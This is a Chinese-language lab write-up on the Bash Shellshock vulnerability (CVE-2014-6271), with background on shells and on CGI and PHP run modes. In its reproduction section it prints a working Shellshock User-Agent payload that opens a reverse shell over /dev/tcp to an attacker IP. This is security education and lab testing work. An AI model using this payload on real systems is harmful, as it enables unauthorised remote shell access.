Bash Shellshock
破壳漏洞(CVE-2014-6271)
GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在Shell被调用后会被立即执行。
这个漏洞的英文是:ShellShock,中文名被XCERT命名为:破壳漏洞。
该漏洞在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。
漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等
在linux下编写shell脚本文件时,经常会看到很多人在文件的第一行中标注“#!/bin/bash”。这句话的意思是告诉系统强制用bash,避免出现一些不兼容的问题。
那么,在linux系统中,除了bash之外,还有哪些shell工具?各自之间有什么区别?如何知道当前系统使用的是哪一个shell?彼此之间又如何进行转换呢?本文就来一一解答。
1、各类常用shell介绍
不同的shell具备不同的功能,shell还决定了脚本中函数的语法,linux中默认的shell是/bin/bash,流行的shell有ash、bash、ksh、csh、zsh等,不同的shell都有自己的特点以及用途。
ash。ash Shell是由Kenneth Almquist编写的,是Linux 中占用系统资源最少的一个小Shell,它只包含24个内部命令,因而使用起来很不方便。
bash。大多数Linux系统默认使用的shell,bash shell 是 Bourne shell 的一个免费版本,它是最早的 Unix shell,bash还有一个特点,可以通过help命令来查看帮助。包含的功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径。
csh。C shell 使用的是“类C”语法,csh是具有C语言风格的一种shell,其内部命令有52个,较为庞大。目前使用的并不多,已经被/bin/tcsh所取代。
dash。小巧,符合 POSIX 标准,但是功能很少。不是给人交互时使用的。
ksh。Korn shell 的语法与 Bourne shell 相同,同时具备了 C shell 的易用特点。许多安装脚本都使用 ksh ,ksh有42条内部命令,与bash相比有一定的限制性。
tcsh。tcsh是csh的增强版,与 C shell 完全兼容。
sh。是一个快捷方式,已经被/bin/bash所取代。
zsh。zch是Linux 最大的Shell之一,由Paul Falstad完成,共有84 个内部命令。如果只是一般的用途,没有必要安装这样的Shell。
2、如何查询当前shell?
leon@Ubuntu:~$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 9月 11 11:14 /bin/sh -> bash
3、如何进行shell间的转换?
例如,使用下面的命令可以将系统缺省的shell指定为bash:
sudo ln -fs /bin/bash /bin/sh
或者, 也可以使用下面的命令完成从bash到dash的转换:
sudo dpkg-reconfigure dash
ShellShock是一个BashShell漏洞(据说不仅仅是Bash,其他shell也可能有这个漏洞).一般情况来说,系统里面的Shell是有严格的权限控制的,如果没有相应的权限,是根本看不到某些命令的存在,更不要说执行这些命令。但是,Bash在运行的过程中会调用操作系统的环境变量,并且会执行一些设置命令。通过ShellShock漏洞,入侵者可以把某些”本来没有权限执行的语句或者命令“,注入到环境变量里。当bash设置环境变量的时候,就会执行这些”被注入“命令。这样子便绕过用户权限的限制,把一些”没有权限执行的命令“,变成”具有执行权限的命令“了。从而可以在系统内任意执行Bash命令语句,胡作非为(相当于获得root超级用户权限)。
CGI是一种协议,旨在允许web服务器直接执行服务器中类似控制台程序,这些程序也就是CGI脚本,通常用来处理来自动态网页的数据并通过HTTP进行交互。
必须指定一个新目录,通常是cgi-bin或者类似的名字,以使CGI脚本能够运行。当浏览器请求CGI目录中包含的特定文件的URL时,服务器运行该脚本,并将输出传递回浏览器。
运行CGI脚本时,会将特定信息复制到环境变量中。如果被调用,该信息将随后传递给Bash,从而为攻击者提供了一种注入恶意代码的方法。
目前常用的四种PHP运行模式
- cgi 通用网关接口(Common Gateway Interface))
2)fast-cgi 常驻 (long-live) 型的 CGI
3)cli 命令行运行 (Command Line Interface)
4)web模块模式 (apache等web服务器运行的模块模式)
CGI通用网关接口模式
cgi是一种为了保证web server传递过来的数据是标准格式的通用网关接口协议。
每有一个用户请求,都会先要创建cgi的子进程,然后处理请求,处理完后结束这个子进程,这就是fork-and-execute模式。 当用户请求数量非常多时,会大量挤占系统的资源如内存,CPU时间等,造成效能低下。所以用cgi方式的服务器有多少连接请求就会有多少cgi子进程,子进程反复加载是cgi性能低下的主要原因。
关于cgi脚本是如何运行的,参考这篇文章:http://icodeit.org/2014/04/how-web-works-cgi/
基本来说,CGI可以是任何的可执行程序,可以是Shell脚本,二进制应用,或者其他的脚本(Python脚本,Ruby脚本等)。 CGI的基本流程是这样: Apache接收到客户端的请求 1.通过传统的fork-exec机制启动外部应用程序(cgi程序) 2.将客户端的请求数据通过环境变量和重定向发送给外部应用(cgi程序) 3.将cgi程序产生的输出写回给客户端(浏览器) 4.停止cgi程序(kill)
Fakcgi模式
fast-cgi 是cgi的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去 fork 一次 (这是 CGI 最为人诟病的 fork-and-execute 模式)。
FastCGI是一个可伸缩地、高速地在HTTP server和动态脚本语言间通信的接口。多数流行的HTTP server都支持FastCGI,包括Apache、Nginx和lighttpd等,同时,FastCGI也被许多脚本语言所支持,其中就有PHP
FastCGI接口方式采用C/S结构,可以将HTTP服务器和脚本解析服务器分开,同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。当HTTP服务器每次遇到动态程序时,可以将其直接交付给FastCGI进程来执行,然后将得到的结果返回给浏览器。这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高了整个应用系统的性能。
CLI模式
PHP-CLI是PHP Command Line Interface的简称,如同它名字的意思,就是PHP在命令行运行的接口,区别于在Web服务器上运行的PHP环境(PHP-CGI,ISAPI等)。 也就是说,PHP不单可以写前台网页,它还可以用来写后台的程序。 PHP的CLI Shell脚本适用于所有的PHP优势,使创建要么支持脚本或系统甚至与GUI应用程序的服务端,在Windows和Linux下都是支持PHP-CLI模式的。
板块模式
Apache + mod_php
lighttp + spawn-fcgi
nginx + PHP-FPM
模块模式是以mod_php5模块的形式集成,此时mod_php5模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。如果我们在Apache启动前在其配置文件中配置好了PHP模块(mod_php5), PHP模块通过注册apache2的ap_hook_post_config挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求。
除了这种启动时的加载方式,Apache的模块可以在运行的时候动态装载,这意味着对服务器可以进行功能扩展而不需要重新对源代码进行编译,甚至根本不需要停止服务器。我们所需要做的仅仅是给服务器发送信号HUP或者AP_SIG_GRACEFUL通知服务器重新载入模块。但是在动态加载之前,我们需要将模块编译成为动态链接库。此时的动态加载就是加载动态链接库。 Apache中对动态链接库的处理是通过模块mod_so来完成的,因此mod_so模块不能被动态加载,它只能被静态编译进Apache的核心。这意味着它是随着Apache一起启动的。
漏洞成因
bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等。
接下来复现漏洞
抓包改包:
这个是原版有漏洞的cgi文件,我们get请求这个文件,在user-agent: () { test;};echo; echo whoami;/bin/bash -i >& /dev/tcp/192.168.3.75/9001 1&>0
这里反弹shell
Ok这里能够拿到shell
看下面这张图
从图中我们可以看到web服务器实际上通过环境变量获取浏览器参数,然后交给了cgi程序,而实验中cgi程序又是有受漏洞影响版本的bash生成的,因此我们在http头部中注入的浏览器参数被bash当作环境变量解析并执行了。
现在试一下新版的cgi文件
没有打印字符串whoami,也没有反弹shell